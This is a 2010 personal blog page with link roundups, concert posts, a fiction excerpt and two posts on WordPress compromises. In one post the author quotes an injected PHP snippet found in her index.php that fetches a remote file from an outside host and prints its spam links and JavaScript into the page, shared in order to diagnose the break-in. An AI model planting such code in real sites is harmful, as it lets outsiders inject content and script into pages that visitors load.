Irrsinn.net

Quasi-daily linkage

Lissa — Thu, 18 Mar 2010 12:00:02 +0000

Welcome! – Okay, nevermind on the link below. This intro provides some good insight into the Tiny Living thing, which is more than just 60 sq. ft houses. Not sure that I want to downsize my house in particular, but it's an interesting movement.
Tiny House In Asheville – I'm increasingly fascinated by this Tiny House movement (and need to do more research on it), although it initially strikes me as a fairly artificial constraint on living.
a series of rants – Auntie Pixelante gives good rants. On a non-game-related note (but relevant), I really should stop saying "fail". If I talk to you in person, help me stop saying that.
Google Goes Hard at Microsoft with Exchange Migration Tool – I wish I'd had this when I'd left Rose-Hulman. I still find myself wanting to hunt down select emails and contacts from Rose.
20 High Quality Photoshop Web Design Tutorials | Tutorials – This will be helpful as I continue to revise my layout and style on the blago-story-net.
xkcd: Single Ladies – It was particularly cute today.
I HOPE TO GOD THEIR MECHANICS ARE BETTER THAN THEIR DESIGN FIRM. | Brain – I had to link to this, especially in light of my recent travel annoyances and Greg's travel horror story.
Scott Hanselman’s Computer Zen – The Weekly Source Code 51 – Asynchronous Database Access and LINQ to SQL Fun – I don't know that I'll work on any projects calling for this level of coolness soon, but this is a slick trick to bump your DB calls off the main threads of execution.

“Ensuring Safety” posted

Lissa — Tue, 16 Mar 2010 15:00:01 +0000

It’s been a couple of weeks since I posted a story. No good excuse other than “what in the hell happened to my life?”. “Ensuring Safety” follows the Transhuman Congress story “Expanding Borders“. It’s probably a good idea to (re)read the first part before jumping into the second part.

Enjoy:

I took a deep breath and dialed the number.

“Theodore Sbili?” said a soft voice that — I’d have sworn — chittered. There was something insectoid about the voice, a little click under the words.

“That’s me,” I said slowly.

Quasi-daily linkage

Lissa — Mon, 15 Mar 2010 16:00:05 +0000

10 Weird Miniature Versions of Normal Animals – Weird Worm – These are quite adorable.
Puppy! – Joel on Software – "Although I appreciate that many people find Twitter to be valuable, I find it a truly awful way to exchange thoughts and ideas. It creates a mentally stunted world in which the most complicated thought you can think is one sentence long." Don't know if I'd be as grumpy about it, but Twitter strikes me as yet another source of digital noise in an already noisy world. I may be done with it soon.
"5 Browsers and the Modes of Transportation They Resemble" by Caldwell Tanner on CollegeHumor – Cute.
Buttersafe – Updated Tuesdays and Thursdays » Archive » Biology 101 – I'm just stumbling upon this comic, but I think it's pretty cute.
Is WebKit too fast for its own good? | Web Builder Zone – I'm pretty sure I ran into this issue a few weeks ago with some .NET work I was doing. Chrome and Saf both were breaking on the first loads of pages (portions of the viewstate were sticking out, displaying on the page), but were inexplicably fine on reloads.

Awesome trumpets: no longer an oxymoron

Lissa — Thu, 11 Mar 2010 16:00:54 +0000

Curt Ramm played with They Might Be Giants in Wednesday and last Friday’s shows, and I’ll admit, he’s given me more than a little crush on the trumpet. I’m sure Greg will be jealous. I can’t find much in terms of videos of him except for Bruce Springsteen stuff, but here’s a too-short video of him in Hotlanta when Gregory and I saw him:

And here’s one from last year, it seems.

I wanted to find a video of him just showing off like TMBG had him do at the concerts. It was shiver-inducing. The music playing on his site is quite good, though.

Quasi-daily linkage

Lissa — Tue, 09 Mar 2010 18:00:10 +0000

10 Usability Crimes You Really Shouldn’t Commit – Nice and easy list to follow. I fixed a silly problem on my site this morning courtesy of the reminder.
Clients From Hell : The client calls around 9 PM on a Saturday… – “[very angry] I am reading your email in disbelief. You are the webmaster – how can there be an aspect of our website that you have no control over?”
Why You Can’t Work at Work | Jason Fried | Big Think – This is a great video on office workspaces. As an aside, Jason Fried's voice and style of talking remind me a whole lot of Dane Cook.
Cupid’s Hunt, 2010: Love Me On The One – EJ Flavors – So what if I'm three weeks late to the Valentine's Day party? It's a very nice mix of music. I really liked Jose James's "Love Conversation".
Slaying relational dragons – Great piece on an appropriate use of document DBs. I really could have used this about a year ago for a ground-up project I did at work that had ridunkulous queries. The comments have great discussion of OLTP vs OLAP vs. Doc DB and whether Ayende's approach is an anti-pattern.

I’ll be damned – more WP trouble

Lissa — Tue, 09 Mar 2010 14:56:49 +0000

I was fixing a webcomic issue on Greg’s blog, and I’ll be damned if from one minute to the next, it didn’t suffer from an index.php injection, too. This is weird as hell. A bunch of spurious content appeared on his homepage, although clicking through to those posts showed the correct content.

It may be time to look for alternative blagging software. Unfortunately, there are a lot of nice features that I use in WP.

They Might Be Giants. Maybe.

Lissa — Tue, 09 Mar 2010 12:41:53 +0000

I got to see them last weekend in Hotlanta, GA. Pretty good show, although it had a more “indie” feel than I was expecting. I guess Greg’s idolization of them leads me to think of them as a fairly major/big-label group, which they aren’t.

They put on a good show, even though I’m never a fan of a performer looking bored as a way to look “cool”, which the accordion guy pulled. Dude, get crunk. You play an accordion.

Greg and I missed JoCo’s opening act due to some stupid traffic in South Carolina, but I should get to see him when I go to the Charlotte version of the concert this Wednesday with Nathan and Michael.

While Greg’s off gallivanting around in San Fran, I’m going to be seeing two of his favorite musicians perform.

WordPress PHP injection?

Lissa — Tue, 02 Mar 2010 12:24:31 +0000

I just found a creepy case of injection in my index.php file. I noticed this morning that my homepage was throwing a “headers already sent” message pointing to index.php, line 10 when it wasn’t cached by Supercache. A reload of the page cleaned it up. But my RSS feed (which currently goes through Feedburner) was also trashed, and /feed wasn’t redirecting. All with the same error. Disabling Supercache fixed the homepage warning, but not the feed.

Being PHP awesome, I checked index.php for trailing whitespace, and found this snippet of code above the standard WordPress code:

if (extension_loaded("curl")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, "http://bljatdinnnnnnnnnna.net/forum.txt"); $r = curl_exec($ch); curl_close($ch); } else { $r=implode("",file("http://bljatdinnnnnnnnnna.net/forum.txt")); } if($r) print $r; // THIS IS LINE 10! ?>

That’s a problem. That forum file is, as you might expect, a crap ton of links and some JavaScript.

A few things to note:

My SSH/bash history is complete and untouched. That is, I can see back for weeks, and all the commands are mine. So it doesn’t seem to be that sort of break-in.
I just upgraded to WP 2.9.2 yesterday through the admin console. Likely culprit? Probably.

Can’t say for sure what it was, since I didn’t do more than a cursory check after I upgraded. The homepage would have been cached, so I wouldn’t have seen the warning there.

I suppose I should report this.

Dreamworlds

Lissa — Tue, 02 Mar 2010 03:39:25 +0000

A snippet of what seems to be a really good video on the “dreamworld” of modern music videos:

Von Von Von

Lissa — Sun, 28 Feb 2010 18:06:05 +0000

This guy’s website seems to be down, but this Apollo video of him is great:

Note that he’s not a singer, he’s an entertainer.